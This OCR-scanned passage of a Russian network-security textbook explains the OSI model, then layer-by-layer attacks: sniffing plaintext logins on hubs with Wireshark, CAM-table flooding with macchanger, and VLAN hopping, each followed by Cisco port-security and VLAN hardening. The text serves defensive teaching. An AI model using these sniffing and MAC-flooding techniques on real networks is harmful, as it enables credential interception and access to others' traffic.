вых продуктов. Модель OSI не лишена ряда недостатков,  присущих 
универсальным моделям, а именно она громоздка, избыточна и не 
слишком гибка. В результате реальные сетевые средства, предлагае
мые различными фирмами, не обязательно придерживаются при
нятого разделения функций, то есть возможны устройства, сочетаю
щие в себе функционал различных уровней. Однако знакомство 
с моделью OSI позволяет лучше понять, что же происходит в сети 
и, соответственно, как лучше ее защищать. Все сетевые функции 
в модели разделены на 7 уровней. При этом вышестоящие уровни 
выполняют более сложные, глобальные задачи, для чего используют 
в своих целях нижестоящие уровни, а также управляют ими. Цель ни
жестоящего уровня - предоставление услуг вышестоящему уровню, 
причем вышестоящему уровню не важны детали выполнения этих 
услуг. Нижестоящие уровни выполняют более простые и конкретные 
функции. В идеале каждый уровень взаимодействует только с теми, 
которые находятся рядом с ним (выше и ниже него) .  Верхний уровень 
соответствует прикладной задаче, работающему в данный момент 
приложению, например веб-браузеру, нижний - непосредственной 
передаче сигналов но каналу связи. 

Данные, которые следует передать но сети, на пути от верхнего 
(седьмого) уровня приложений до нижнего (первого) физического 
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проходят процесс инкапсуляции, то есть каждый нижеследующий уро
вень не только производит обработку данных, приходящих с более вы
сокого уровня, но и снабжает их своим заголовком, а также добавляет 
к нему служебную информацию. Такой процесс обрастания служебной 
информацией продолжается до последнего (физического) уровня. На 
физическом уровне вся эта многооболочечная конструкция передается 
но кабелю приемнику. Там происходит обратный процесс - декансуля
ция, то есть при передаче на вышестоящий уровень убирается одна из 
оболочек. Верхнего, седьмого уровня достигают уже данные, освобож
денные от всех оболочек, то есть от всей служебной информации ниже
стоящих уровней. При этом каждый уровень принимающего абонента 
производит обработку данных, полученных с нижеследующего уровня, 
в соответствии с убираемой им служебной информацией. 

В тех случаях, когда на пути между абонентами в сети включаются 
некие промежуточные устройства (например, концентраторы, ком
мутаторы, маршрутизаторы), то и они тоже могут выполнять функ
ции, входящие в нижние уровни модели O SI. Чем больше сложность 
промежуточного устройства, тем больше уровней оно захватывает. 
В случае если между получателем и отправителем присутствует меж
сетевой экран, будут обработаны все семь уровней иерархической 
модели. Но любое промежуточное устройство должно принимать и 
возвращать информацию на нижнем, физическом уровне. Все внут
ренние преобразования данных должны производиться дважды и 
в противоположных направлениях. Промежуточные сетевые устрой
ства, в отличие от полноценных абонентов (например, компьютеров) ,  
работают только на нижних уровнях и к тому же выполняют двусто
роннее преобразование. 

Теперь поговорим подробнее о функциях разных уровней. 

1 .  1 .  1 .  Прикладной (7) уровень (Application Layer) 

Это уровень приложений, который обеспечивает услуги, непосред
ственно поддерживающие приложения пользователя. Примером та
ких приложений являются: программные средства передачи файлов 
(FTP), доступа к базам данных (клиенты баз дланных),  средства элект
ронной почты (Microsoft Outlook), служба регистрации на сервере 
(RADIUS). Этот уровень фактически управляет всеми остальными 
шестью уровнями. Примером может являться работа с таблицами 
Excel, когда пользователь сохраняет файл на сетевой ресурс. В этом 
случае прикладной уровень обеспечивает перемещение файла с ра
бочего компьютера на сетевой диск прозрачно для пользователя. 
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1 . 1 .2. Представительский (6) уровень 
(Presentation Layer) 

Это уровень представления данных, который определяет и преоб
разует форматы данных и их синтаксис в форму, удобную для сети, 
то есть выполняет функцию переводчика. Здесь же производятся 
шифрование и дешифрирование данных, а при необходимости и их 
сжатие. Стандартные форматы существуют для текстовых файлов 
(ASCII, HTML), звуковых файлов ( MPEG, WAV), рисунков OPEG, 
GIF, ТIFF), видео (AVI) .  Все преобразования форматов делаются на 
представительском уровне. Если данные передаются в виде двоично
го кода, то преобразования формата не требуется. 

1 . 1 . З. Сеансовый (5) уровень (Session Layer) 

На этом уровне производится управление проведением сеансов связи 
(то есть осуществляются установка, поддержка и прекращение свя
зи). Данный уровень предусматривает три режима установки сеансов: 
симплексный (передача данных в одном направлении),  полудуплекс
ный (передача данных поочередно в двух направлениях) и нолно
дунлексный (передача данных одновременно в двух направлениях). 
Сеансовый уровень может также вставлять в ноток данных специаль
ные контрольные точки, которые позволяют контролировать процесс 
передачи при разрыве связи. Этот же уровень распознает логические 
имена абонентов, контролирует предоставленные им нрава доступа. 

1 .  1 .4. Транспортный (4) уровень (Transport Layer) 

Данный уровень обеспечивает доставку пакетов без ошибок и по
терь, а также в нужной последовательности. На нем же производятся 
разбивка передаваемых данных на блоки, помещаемые в пакеты, и 
восстановление принимаемых данных из пакетов . Доставка пакетов 
возможна как с установлением соединения (виртуального канала), 
так и без. Транспортный уровень является пограничным и связую
щим между верхними тремя, сильно зависящими от приложений, и 
тремя нижними уровнями, сильно привязанными к конкретной сети. 

1 . 1 .5. Сетевой (З) уровень (Network Layer) 

Производит адресацию пакетов и перевод логических имен (логи
ческих адресов, например IР-адресов)  в физические сетевые МАС-
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адреса (и обратно). На этом же уровне решается задача выбора марш
рута (пути), но которому пакет доставляется но назначению (если в 
сети имеются несколько маршрутов) .  На сетевом уровне действуют 
такие сложные промежуточные сетевые устройства, как маршрути
заторы. 

1 .  1 . 6. Канальный (2) уровень (Data Link Layer) 

Другое название - уровень управления каналом передачи, отвечает 
за формирование пакетов (кадров) стандартного для данной сети 
(например, Ethernet) вида, включающих начальное и конечное управ
ляющие ноля. Здесь же производится управление доступом к сети, 
обнаруживаются ошибки передачи путем подсчета контрольных 
сумм и производится повторная пересылка приемнику ошибочных 
пакетов. Канальный уровень делится на два подуровня: верхний LLC 
и нижний МАС. Верхний подуровень (LLC - Logical Link Control) 
осуществляет управление логической связью, то есть устанавливает 
виртуальный канал связи. Строго говоря, эти функции не связаны 
с конкретным типом сети, но часть из них все же возлагается на ап
паратуру сети (сетевой адаптер) .  Другая часть функций подуровня 
LLC выполняется программой драйвера сетевого адаптера. Подуро
вень LLC отвечает за взаимодействие с уровнем 3 (сетевым). Нижний 
подуровень (МАС - Media Access Control ) обеспечивает непосред
ственный доступ к среде передачи информации (каналу связи). Он 
напрямую связан с аппаратурой сети. Именно на подуровне МАС 
осуществляется взаимодействие с физическим уровнем. Здесь произ
водятся контроль состояния сети, повторная передача пакетов задан
ное число раз при коллизиях, прием пакетов и проверка правильно
сти передачи. На канальном уровне работают такие промежуточные 
сетевые устройства, как, например, коммутаторы. 

1 . 1 .  7. Физический (1)  уровень (Physical Layer) 

Это самый нижний уровень модели, который отвечает за кодирование 
передаваемой информации в уровни сигналов, принятые в используе
мой среде передачи, и обратное декодирование. Здесь же определя
ются требования к соединителям, разъемам, электрическому согла
сованию, заземлению, защите от помех и т. д. На физическом уровне 
работают такие сетевые устройства, как концентраторы (рис. 2) .  

Для того чтобы читателю стал более понятен приведенный выше 
материал, приведу несколько простых примеров. Что происходит, 
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Рис. 2. Схема пакета для различных уровней OSI 

когда вы занрашиваете какие-либо данные но сети, нанример НТМL
страницу? Ваш веб-браузер (уровень нриложений) формирует занрос 
но нротоколу НТТР (уровень нредставлений и сеансовый уровень), 
формируются накеты, нередаваемые на норт 80 (транснортный уро
вень) ,  на IР-адрес веб-сервера (сетевой уровень). Эти накеты нере
даются сетевой карте вашего комньютера, которая нередает их в сеть 
(канальный и физический уровни) .  По нути следования накеты нро
ходят через различные нромежуточные устройства: коммутаторы, 
маршрутизаторы, межсетевые экраны. Каждое из этих устройств 
может осуществлять нроверку накета в соответствии со своими на
стройками. Нанример, в зависимости от IР-адреса назначения марш
рутизатор нерешлет накеты в онределенную сеть. А межсетевой экран 
разрешит или занретит нередачу данных накетов . Когда накеты до
стигнут узла назначения, будет нроизведено обратное нреобразо
вание. Из накетов будет извлечена информация, соответствующая 
каждому из уровней иерархической модели. 

Говоря о том, на каком уровне данной модели работают различ
ные устройства, хотелось бы отдельно сказать о таких устройствах 
безонасности, как межсетевые экраны. В общем случае, межсетевой 
экран работает на уровне нриложений. То есть он разбирает нрохо-
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дящий через него пакет, выделяя из него атрибуты каждого из уров
ней модели и проверяя их на соответствие корпоративной политике 
безопасности. Выполняемые при этом действия будут выглядеть так: 

О проверка IР-адреса отправителя и получателя (сетевой уро
вень) ;  

О проверка порта, на который передается пакет (транспортный 
уровень) ;  

О проверка соответствия сеансовым уровням и уровням представ
ления; 

О проверка, соответствует ли содержимое пакета структуре дан
ных того протокола, который разрешен на данном порту (уро
вень приложений). 

Например, если вы попытаетесь под видом DNS-накета передать, 
скажем, НТТР-накет (осуществить туннелирование, спрятать НТТР 
в DNS) ,  то межсетевой экран выполнит алгоритм, приведенный 
выше. Очевидно, что IР-адрес , порт и проверка сеансового уровня 
будут пройдены успешно. А вот дальше в зависимости от конкрет
ной политики межсетевого экрана на уровне представлений или на 
уровне приложений будет обнаружено, что в нашем DNS-накете на 
самом деле находятся данные, не соответствующее структуре пакетов 
для данного протокола. И такой пакет должен быть заблокирован. 

Но не все межсетевые экраны разбирают пакет до уровня прило
жений, многие дешевые модели ограничиваются проверкой данных 
сетевого и транспортного уровней, что не всегда безопасно. 

1 . 1 .8. Заключение 

Итак, мы разобрались с устройствами, выяснили, как организовано 
взаимодействие между ними. Теперь поговорим о том, какие воз
можны атаки на сетевые устройства, работающие на определенном 
уровне модели OSI. 
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Рассмотрев теоретические основы уровней модели OSI, тенерь нерей
дем к рассмотрению тех атак, которые могут быть реализованы нро
тив устройств и нриложений, работающих на каждом из уровней OSI. 

2. 1 . Атаки на ф изи чес ком уровне 
Атаки н а  физическом уровне известны давно, и ,  казалось бы, все зна
ют, как с ними бороться, однако иногда и с номощью такой атаки 
можно нолучить конфиденциальную информацию. 

2. 1 .  1 .  Концентраторы 

Начнем с нростейших сетевых устройств - концентраторов (hub ) .  
Как известно, концентратор, нолучая накет на один из своих нортов, 
ретранслирует его на все остальные (рис. 3) .  

При этом все машины, нодключенные к данному концентратору, 
нолучают отнравленный накет. При иснользовании этих устройств 
существенно снижается нронускная снособность сегмента сети, и, 
что гораздо важнее с точки зрения информационной безонасности, 
любой нодключенный к концентратору нользователь может без труда 
нрослушать весь трафик, нроходящий через данный сегмент. 

Для того чтобы нроверить это на нрактике, достаточно нодключить 
к концентратору несколько машин и на одной из них занустить за
грузочный диск и онисанный в нриложениях дистрибутив BackTrack 
или любой другой дистрибутив Линукс, содержащий данную утилиту 
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Рис. 3. Фото концентратора 

Здесь и далее все утил иты,  п р и веденные  в п римерах, входят в соста в 
Backtrack, есл и другое не указано я в но .  

После загрузки онерационной системы Linux BackTrack необ 
ходимо в разделе BackTrack выбрать носледовательно: Privikege 
Escalation � Sniffers � Wirehark (рис. 4) .  

Далее в открывшемся окне нриложения нужно указать интерфейс , 
с которого будет нерехватываться трафик, и нажать Start (рис. 5) .  

Ну а тенерь самое интересное. Заходим с машины, нодключенной 
к этому же концентратору, на какой-либо сайт, нередающий учетные 
данные через веб-форму в незашифрованном виде, и вводим логин 
и нароль (лучше не настоящие). Отнравляем эти данные на сервер и 
нолучаем сообщение о неверных учетных данных. 

Затем нереходим в окно Wireshark и нросматриваем НТТР-тра
фик, который нередавался с локальной машины на веб-сервер (рис. 6) .  

В своем нримере я иснользовал веб-нортал одной известной со
циальной сети, который до сих нор нри нередаче учетных данных не 
иснользует шифрование и нередает логин и нароль в незашифрован
ном виде. В моем случае логин бьm test, а нароль p@sswOrd. В логе 
символ @ заменен шестнадцатеричным кодом UTF-8. 

Конечно, многие веб-сайты иснользуют шифрование нри нередаче 
учетных данных, но тем не менее с номощью нрослушивания трафи
ка онытный хакер может собрать массу нолезной информации. На
нример, но тем серверам, к которым обращается комньютер, можно 
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Рис. 4 .  Запуск сннффера Wireshark в BackТrack 

Dev1ce Descript i o n  

/it] etho 
8i] any Pseudo-device that  captures о п  all intetfaces 

i usbmonl USB bus: number 1 

i us:bmon2 USB bus numbeг  2 
i usbmonЭ USB bus number Э 
i usbmon4 USB bus numbeг  4 
i usbmor1S USB bu s number 5 
� la 
� 

IP 

1 92 , 16 8 . l . З  5 5  

5 5  

127 .0 .0 , 1  

Рис. 5.  Запуск прослушнвання ннтерфенса в Wireshark в BackТrack 

нонытаться онределить онерационную систему, установленную на 
комньютере,  внлоть до версий установленных обновлений. Также 
можно узнать об установленных нриложениях. Такие атаки называ
ются «passive fingerprint\'>. 
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Рис. 6. Понск пароля в логах Wireshark 

Полученная надобным образом информация может быть внослед
ствии иснользована злоумышленником для реализации более слож
ных атак. 

Приведенный нример является доказательством ненригодности 
концентраторов для иснользования в локальных сетях. Но не торони
тесь их выбрасывать. Если в вашей сети иснользуются отказоустой
чивые кластеры (необходимость иснользования отказоустойчивости 
нодробно рассматривается в разделе, носвященном рискам) ,  то вы 
сможете иснользовать концентраторы для внутреннего нодключения 
узлов кластера. Дело в том, что узлам кластера необходимо ностоянно 
обмениваться сообщениями вида «Я живой>,> ( l'm alive) ,  эти сообще
ния нередаются узлами друг другу. Так как концентратор не состав
ляет САМ -таблиц, а шлет накеты нанрямую, то в случае выхода из 
строя одного из узлов второй узел быстрее узнает о выходе из строя 
нервого.  Коммутаторы составляют САМ -таблицы, которые обладают 
некоторым временем жизни, и нри выходе из строя одного из узлов 
второй узнает об этом лишь но истечении этого времени жизни. Од-
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нако подробнее о коммутаторах мы поговорим в следующем разделе. 
Для критичных бизнес -приложений, таких как электронная почта, 
корпоративная база данных или веб-сайт, простой продолжительно
стью в несколько секунд крайне вреден, а для карьеры системного 
администратора просто опасен. Так что использование концентрато
ров в кластерных системах вполне оправдано. 

Для того чтобы избежать данных угроз, необходимо использовать 
коммутаторы, о которых речь пойдет далее. 

Сейчас встретить концентратор в корпоративной сети уже не так 
просто. Повсеместно их заменяют коммутаторами, и это наилучший 
способ избежать тех угроз ,  которые были описаны в этом разделе. 
В случае если в вашей сети имеются концентраторы и в настоящий 
момент вы не можете от них отказаться, необходимо программными 
средствами заблокировать пользователям возможность прослуши
вать трафик. Проще всего это сделать, лишив пользователей адми
нистративных привилегий на своих рабочих станциях. Также не
обходимо запретить работу сетевой карты в режиме, позволяющем 
получать весь трафик, а не только тот, который предназначен для 
данной машины. 

2.2 . Атаки на канал ь н ом уров не 
На этом уровне арсенал злоумышленника уже значительно расширя
ется, и системному администратору нужно предпринять целый ряд 
мер для защиты корпоративной сети. 

2.2. 1 .  Атаки на коммутаторы 

Коммутатор (switch) является более интеллектуальным устройством, 
чем концентратор. Как уже упоминалось ранее, коммутаторы рабо
тают на канальном уровне модели O SI. Получая пакет на один из 
своих портов, он, в отличие от концентратора, не пересылает его на 
все порты, а пересылает только на тот порт, к которому подключен 
получатель пакета. 

Далее я приведу основные тины атак, которые применимы для 
коммутаторов. Существуют модели коммутаторов, поддерживающие 
также сетевой уровень, однако сейчас мы будем рассматривать только 
канальный уровень. 

На канальном уровне возможны следующие тины атак: 

О переполнение САМ -таблицы; 
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О VLAN Hopping; 
О атака на STP; 
О МАС-снуфинг; 
О атака на PVLAN; 
О атака на DHCP. 

Рассмотрим каждую из атак более подробно. 

2.2.2. Переполнение САМ-таблицы 

Коммутатор имеет САМ-таблицу ( Content Address Memory),  где 
содержится привязка МАС-адресов к портам коммутатора. То есть 
в данной таблице указано, какие МАС-адреса на каком порту при
нимаются. САМ -таблица имеет ограниченный размер, например 
для коммутатора Cisco Catalyst 2960 таблица может хранить до 
8 192 МАС-адресов, а Catalyst 6000 серии - до 128  ООО МАС-адресов. 

В случае если таблица будет полностью занята, новые записи не 
смогут добавляться, и весь трафик будет проходить на все порты. 
Тогда коммутатор начнет работать как обычный концентратор,  и 
весь трафик, проходящий через данный сегмент сети, можно будет 
прослушать тем же способом, который мы использовали в предыду
щем разделе, с помощью утилиты Wireshark. Конечно, прослушать 
весь трафик в локальной сети злоумышленнику таким способом не 
удастся, но инсайдер, работающий в одном сегменте сети, к примеру 
с бухгалтерией, сможет перехватывать трафик и получить конфиден
циальную информацию (рис. 7) .  

Реализовать данную атаку можно с помощью утилиты macchanger, 
которая позволяет менять МАС-адреса. 

В качестве примера осуществим подмену МАС-адреса на машине, 
подключенной к коммутатору. Сначала включим сетевой интерфейс. 
По умолчанию в BackTrack сетевой интерфейс отключен. 

root@bt : - # i f u p  e t h O  

I п t e r п e t  S y s t e m s  Co п s o r t i u m  D H C P  C l i e п t  V3 . 1 . 1  

Copy r i g h t  2004-2008  I п t e r п e t  Systems  Co п s o rt i u m . 

A l l  r i g h t s  r e s e rved . 

Fo r i п f o ,  p l e a s e  v i s i t  h t t p : //www . i s c . o rg/ sw/d h c p/ 

L i s te п i п g  оп L P F/eth0/00 : 1 6 : e c : f 1 : 45 : e 8 

S e п d i п g  о п  L P F  /eth0/00 : 1 6 :  ее : f 1 : 45 : е 8  

S e п d i п g  о п  S o c ket/f a l l b a c k  

D H C P D I SCOVER  о п  e t h O  to  2 5 5 . 2 5 5 . 2 5 5 . 2 5 5  po rt 67  i п t e rval 3 

D H C P O F F E R  of 1 9 2 . 1 6 8 . 1 . 3  f rom 1 9 2 . 1 68 . 1 . 1 0 1 

D H C P R EQU EST of 1 9 2 . 1 6 8 . 1 . 3  оп e t h O  to 2 5 5 . 2 5 5 . 2 5 5 . 2 5 5  p o r t  67  

D H C PACK o f  1 9 2 . 1 6 8 . 1 . 3  f rom  1 9 2 . 1 6 8 . 1 . 1 0 1  



АТАКИ НА КАНАЛЬНОМ УРОВ Н Е  39 

b o u n d  

i f - u p .  

i f - u p .  

i f - u p .  

i f - u p .  

Сеть предприятия 

Злоумышленник 
Рис. 7. Тополоrия сети с коммутатором 

to  1 9 2 . 1 6 8 . 1 . 3  - -

d/mo u n t n f s [ e t h O ] : 

d/mo u n t n f s [ e t h O ] : 

d/mo u n t n f s [ e t h O ] : 

d/mo u n t n f s [ e t h O ] : 

r e n ewal i n  

wai t i n g  fo  r 

wai t i n g  fo  r 

wai t i n g  fo  r 

wai t i n g  fo  r 

42928  s e c o n d s .  

i n t e rface  e t h 1  b efo re d o i n g  N FS 

i n t e rface  e t h 2  befo re d o i n g  N FS 

i n t e rface  athO  befo re d o i n g  N FS 

i n t e rface  wlanO  befo re  d o i n g  N FS 

m o u n t s  

m o u n t s  

m o u n t s  

m o u n t s  

При включении был отнравлен занрос на нолучение IР-адреса 
к серверу DHCP. Затем насмотрим текущее состояние сетевых ин
терфейсов. 

root@bt · - #  i f c o n f i g  -а 

ethO L i n k  e n c a p : Et he r n e t  HWad d r 00 : 1 6 ·  ее : f 1 · 45 :  е8  

i net  a d d r 1 9 2 . 1 6 8 1 .  3 B cast  1 9 2  1 6 8 .  1 2 5 5  M a s k  2 5 5  2 5 5 . 2 5 5 . О 

i n e t 6  a d d r :  fe80 : : 2 1 6 :  e c f f : f e f 1 · 45е8/64 Scope : L i n k  

U P  B R OADCAST R U N N I N G  MU LТICAST MTU 1 500  Met ric · 1 

RX pac ket s : 3 9  e r ro r s : O  d ro p p e d : O  ove r r u n s : O  f rame : O  

ТХ packets : 1 6 e r ro r s : O  d ro p p e d : O  ove r r u n s : O  c a r r i e r · O 

c o l l i s i o n s · O  txq u e u e l e n · 1 000  

RX  bytes  3952  ( 3 9 КВ )  ТХ bytes  1 780 ( 1 7 КВ ) 

I n t e r r u p t : 2 1  Base  a d d r e s s · Oxd800  

l o  L i n k  e n c a p : L o c a l  Loo p b a c k  

i n e t  ad d r : 1 2 7 . 0 . 0  1 M a s k : 2 5 5 . 0  О . О  
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i n e t 6  a d d r :  : : 1 / 1 28  Scope : H o s t  

U P  LOOP BACK R U N N I N G  MTU : 1 6436  Met  ric : 1 

RX pac ket s : О e r ro r s : О d ro p p e d : о ove r r u n s : O  f rame : O  

ТХ pac ket s : О e r ro r s : О d ro p p e d : O  ove r r u n s : O  ca r r i e r :  О 

c o l l i s i o n s : O  txq u e u e l e n : о 
RX byte s : O  ( О  О В )  ТХ byte s :  О ( О . О  В )  

Настоящий М АС - адрес  нашего сетев ого интерфейса  -

00: 1 6:ec:f1 :4S:e8. Сейчас именно этот адрес прописан в САМ-таблице 
коммутатора. Теперь изменим данный адрес. 

root@bt : - # macc h a n g e r  - r  e t h O  

C u r re n t  МАС : 00 : 1 6 : e c : f 1 : 45 : e 8 ( u n kn own ) 

Faked  МАС : 04 : 2f : 1 1 : 6 5 : fc : Oa ( u n k nown ) 

Перестартуем сетевой интерфейс: 

root@bt : - # i f d own e t h O  

root@bt : - # i f u p  e t h O  

I n t e r n e t  S y s t e m s  Co n s o r t i u m  D H C P  C l i e n t  VЗ . 1 .  1 

Copy r i g h t  2004-2008  I n t e r n e t  Systems  Co n s o rt i u m . 

A l l  r i g h t s  r e s e rved . 

Fo r i n f o ,  p l e a s e  v i s i t  h t t p : //www . i s c . o rg/ sw/d h c p/ 

L i s te n i n g  on L P F/eth0/04 : 2 f : 1 1 : 6 5 : fc : Oa 

S e n d i n g  o n  L P F  /eth 0/04 : 2f : 1 1 :  6 5 : fc : Оа  

S e n d i n g  o n  S o c ket/f a l l b a c k  

D H C P D I SCOVER  o n  e t h O  to  2 5 5 . 2 5 5 . 2 5 5 . 2 5 5  po rt 67  i n t e rval 3 

D H C P O F F E R  of 1 9 2 . 1 6 8 . 1 . 8  f rom 1 9 2 . 1 68 . 1 . 1 0 1 

D H C P R EQU EST of 1 9 2 . 1 6 8 . 1 . 8  on e t h O  to 2 5 5 . 2 5 5 . 2 5 5 . 2 5 5  p o r t  67  

D H C PACK o f  1 9 2 . 1 6 8 . 1 . 8  f rom 1 9 2 . 1 6 8 . 1 . 1 0 1  

b o u n d  to  1 9 2 . 1 6 8 . 1 . 8  - - r e n ewal in 42928 s e c o n d s .  

i f - u p . d/mo u n t n f s [ e t h O ] : wai t i n g  fo  r i n t e  rface  e t h 1  b efo re d o i n g  

i f - u p . d/mo u n t n f s [ e t h O ] : wai t i n g  fo  r i n t e  rface  e t h 2  befo re d o i n g  

i f - u p . d/mo u n t n f s [ e t h O ] : wai t i n g  fo  r i n t e  rface  athO  befo re d o i n g  

N FS m o u n t s  

N FS m o u n t s  

N FS m o u n t s  

i f - u p . d/mo u n t n f s [ e t h O ] : wai t i n g  fo  r i n t e  rface  wlanO  befo re  d o i n g  N FS m o u n t s  

Снова посмотрим конфигурацию сетевых интерфейсов.  

root@bt : - # i f c o n f i g  - а  

e t h O  L i n k  e n ca p : Et h e r n e t  

i n e t  ad d r : 1 9 2 . 1 6 8 . 1 . 8  

HWad d r 04 : 2 f : 1 1 : 6 5 : f c : Oa 

Bcas t : 1 9 2 . 1 6 8 . 1 . 2 5 5  M a s k : 2 5 5 . 2 5 5 . 2 5 5 . 0  

i n e t 6  a d d r :  fe80 : : 2 1 6 :  e c f f : f e f 1 : 45е8/64 Scope : L i n k  

U P  B R OADCAST R U N N I N G  MU LТICAST MTU : 1 500  Met ric : 1  

RX  pac ket s : 3 9  e r ro r s : O  d ro p p e d : O  ove r r u n s : O  f rame : O  

ТХ packets : 1 6 e r ro r s : O  d ro p p e d : O  ove r r u n s : O  c a r r i e r : O 

c o l l i s i o n s :  О txq u e u e l e n : 1 000  

RX  byte s : 5 8 0 1  ( 5 . 9 КВ )  ТХ bytes : 1 1 00 ( 1 . 1  КВ ) 

I n t e r r u p t : 2 1  Base  a d d r e s s : Oxd800  



l o  L i n k  e n c a p : L o c a l  Loo p b a c k  

i n e t  ad d r : 1 2 7 . 0 . 0 . 1 M a s k : 2 5 5 . 0 . 0 . 0  

i n e t 6  a d d r :  : : 1 / 1 28  Scope : H o s t  
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U P  LOOP BACK R U N N I N G  MTU : 1 6436  Met  ric : 

RX pac ket s : O  e r ro r s : O  d ro p p e d : O  ove r r u n s : O  f rame : O  

ТХ pac ket s : O  e r ro r s : O  d ro p p e d : O  ove r r u n s : O  ca r r i e r : O 

c o l l i s i o n s : O  txq u e u e l e n  О 

RX byte s :  О ( О .  О В )  ТХ byte s :  О ( О .  О В )  

Как видно, МАС-адрес интерфейса ethO изменился. При помощи 
несложного сценария можно заставить выполняться действия но сме
не МАС-адреса в цикле, который будет выполняться до переполнения 
САМ-таблицы. Написание такого сценария оставим читателю в ка
честве домашнего задания. Я лишь замечу, что утилита macchanger 
нам еще неоднократно пригодится при реализации сетевых атак. 

Обозначив угрозу, перейдем к способам защиты. Во многих ру
ководствах но безопасности рекомендуется жестко привязать МАС
адрес рабочей станции к порту коммутатора или ограничить коли
чество МАС-адресов, подключаемых к порту, одним адресом. Данные 
советы, конечно,  правильны, но тут надо быть внимательным, так 
как очень часто один порт на коммутаторе может соответствовать 
нескольким МАС-адресам. Например, у коммутатора используются 
все порты, но вам необходимо подключить к нему еще несколько 
рабочих мест (в связи с расширением или, наоборот, сокращением). 
Наилучшим решением в такой ситуации было бы подключение еще 
одного коммутатора к данному и резервирование порта подключе
ния нового коммутатора за соответствующим МАС-адресом. Однако 
в нынешних экономических условиях многие компании предпочита
ют сэкономить и используют для подключения те же концентраторы. 

Также бывают случаи, когда к одному порту коммутатора могут 
подключаться поочередно несколько рабочих станций. Например, 
так часто делают в переговорных комнатах. Поэтому советую при на
стройке ограничений подключениям но МАС-адресам не увлекаться 
чрезмерным @акручиванием гаек� , чтобы избежать дополнительных 
трудностей в дальнейшем. 

Теперь перейдем к практической части. В качестве примера рас
смотрим настройку коммутатора Cisco Catalyst 2960 с операцион
ной системой IOS.  Данная модель имеет 24 порта, к которым и под
ключены пользователи. Необходимо сделать так, чтобы на каждом 
порту могло подключаться не более трех машин (другими словами, 
три МАС-адреса) .  Для этого следует подключиться к коммутатору 
удаленно или с помощью консоли и выполнить следующие команды: 
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Swi t c h #  conf t 

Switc h ( co n f i g ) #  i n t  r a n g e  f0/ 1 - 2 4  

Switc h ( co n f i g - i f - r a n g e ) #  switc h p o rt  mode  a c c e s s  

Switc h ( co n f i g - i f - r a n g e ) #  switc h p o rt  po r t - s e c u rity  

Switc h ( co n f i g - i f - r a n g e ) #  switc h p o rt  po r t - s e c u rity  violation  s h u tdown  

Switc h ( co n f i g - i f - r a n g e ) #  switc h p o rt  po r t - s e c u rity  maxi m u m  3 

Switc h ( co n f i g - i f - r a n g e ) #  switc h p o rt  po r t - s e c u rity  m a c - ad d r e s s  s t i c ky 

Теперь вкратце о том, что делает каждая из команд. В первой стро
ке мы переходим в режим глобального конфигурирования, во второй 
переходим в режим конфигурирования портов. В третьей мы явно 
указываем, что все выбранные порты будут работать в режиме до
ступа. Далее включаем защиту порта port-security. В последующих 
трех строках мы указываем коммутатору, что делать в случае, если к 
порту попытаются подключиться более трех рабочих станций. Сна
чала указываем, что необходимо отключить порт и послать соответ
ствующее сообщение но snmp и syslog. К слову, данную опцию можно 
не включать принудительно, так как она действует но умолчанию. 
Кроме использованного нами режима shutdown, есть также protect и 
restrict. Смысл последних двух режимов заключается в том, что порт 
не будет выключаться (то есть переходить в состояние shutdown) ,  
а будут лишь блокироваться пакеты при обнаружении нарушения, 
связанного с МАС-адресами. Различие этих двух режимов - в том, 
что при возникновении внештатной ситуации restrict может послать 
snmp-trap и syslog сообщение о нарушении политики безопасности. 

В следующей команде коммутатору мы указываем, сколько МАС
адресов готовы увидеть на этом порту. В нашем случае это три. И на
конец, последняя команда переводит порт коммутатора в режим об
учения, то есть первые три МАС-адреса, которые будут получены 
через этот порт, и будут автоматически сохранены в running-config. 

Итак, подводя итог, скажу, что всех этих команд вполне достаточно 
для предотвращения атаки на переполнение САМ -таблицы. 

1 .  1 .1. З�хшеl{ени� 

С помощью данной атаки злоумышленник может попытаться пере
дать данные в другой VLAN. Как известно, для взаимодействия между 
виртуальными локальными сетями VLAN в коммутаторах использу
ется режим trunk. В коммутаторах Cisco Catalyst но умолчанию порт 
работает не в режиме mode access и не в режиме mode trunk, таким 
образом, на порту работает протокол DTP ( Dynamic Trunk Protocol ). 
Очевидно , что при подобной настройке портов коммутатора зло
умышленнику достаточно притвориться коммутатором, как между 
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ними будет установлено транковое соединение и,  соответственно , 
будут достунны VLAN, сконфигурированные на коммутаторе, носле 
чего нередать данные в другой VLAN не составит труда (рис. 8) .  

Сеть предприятия 

VLAN 1 Администраторы сети 

Злоумышленник 

Рис. 8. Тополоrия сети с коммутатором и фальшивым транком 

Прежде чем нристунить к онисанию мер но ликвидации данной 
угрозы, обсудим, к каким нроблемам на нрактике может нривести 
VLAN Hopping. Как нравило, в большинстве организаций серверы 
работают в одном сегменте сети (VLAN), рабочие станции админист
раторов - в другом, обычные нользователи - в третьем. Отдельно 
должен размещаться сегмент DMZ,  нравда, для его разграничения 
коммутаторов, как нравило, не иснользуют. Таким образом, в случае 
если злоумышленник, находясь в нользовательском сегменте, смо
жет нроникнуть в VLAN администраторов, то он сможет нонытаться 
атаковать машины администраторов или же нрослушать трафик на 
наличие незашифрованных наролей и другой конфиденциальной ин
формации. 

Тенерь нерейдем к соответствующей настройке коммутатора. Для 
начала нужно все иснользуемые интерфейсы коммутатора нринуди
тельно неревести в режимы access и trunk, где это наложено. Неис
нользуемые норты следует неревести в режим shutdown и неревести 
их в несуществующий VLAN, который будет известен только дан
ному коммутатору, то есть не будет нередаваться но trunk-нopтaм 
другим коммутаторам. 
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Для желающих поэкспериментировать с данным типом атак реко
мендую утилиту PackETH, которая позволяет сконструировать пакет, 
начиная со второго уровня OSI. 

Выполним необходимые команды на коммутаторе. 

Swi t c h #  c o n f  t 

Swi t c h  ( c o n f i g ) #  i n t  f0/1  

Swi t c h  ( c o n f ig - i f ) #  switc h p o rt  mode  a c c e s s  

Switc h ( co n f i g ) #  vlan  9 9 9  

Switc h ( co n f i g ) #  name  U n c o n nected  

Switc h ( co n f i g ) #  exit  

Switc h ( co n f i g ) #  int  r a n g e  f0/ 1 2 - 2 4  

Switc h ( co n f i g - i f - r a n g e ) #  switc h p o rt  acce s s  v l a n  9 9 9  

Switc h ( co n f i g - i f - r a n g e ) #  s h u t  

В первой строке мы использовали команду для перехода в режим 
конфигуратора. Во второй заходим в настройку порта, далее пере
ключаем его в режим access. После этого создаем VLAN и даем ему 
имя. Затем принудительно выключаем все оставшиеся порты на ком
мутаторе, переведя их предварительно в новый VLAN. 

Описанные выше настройки позволяют противостоять атакам тина 
VLAN Hopping. 

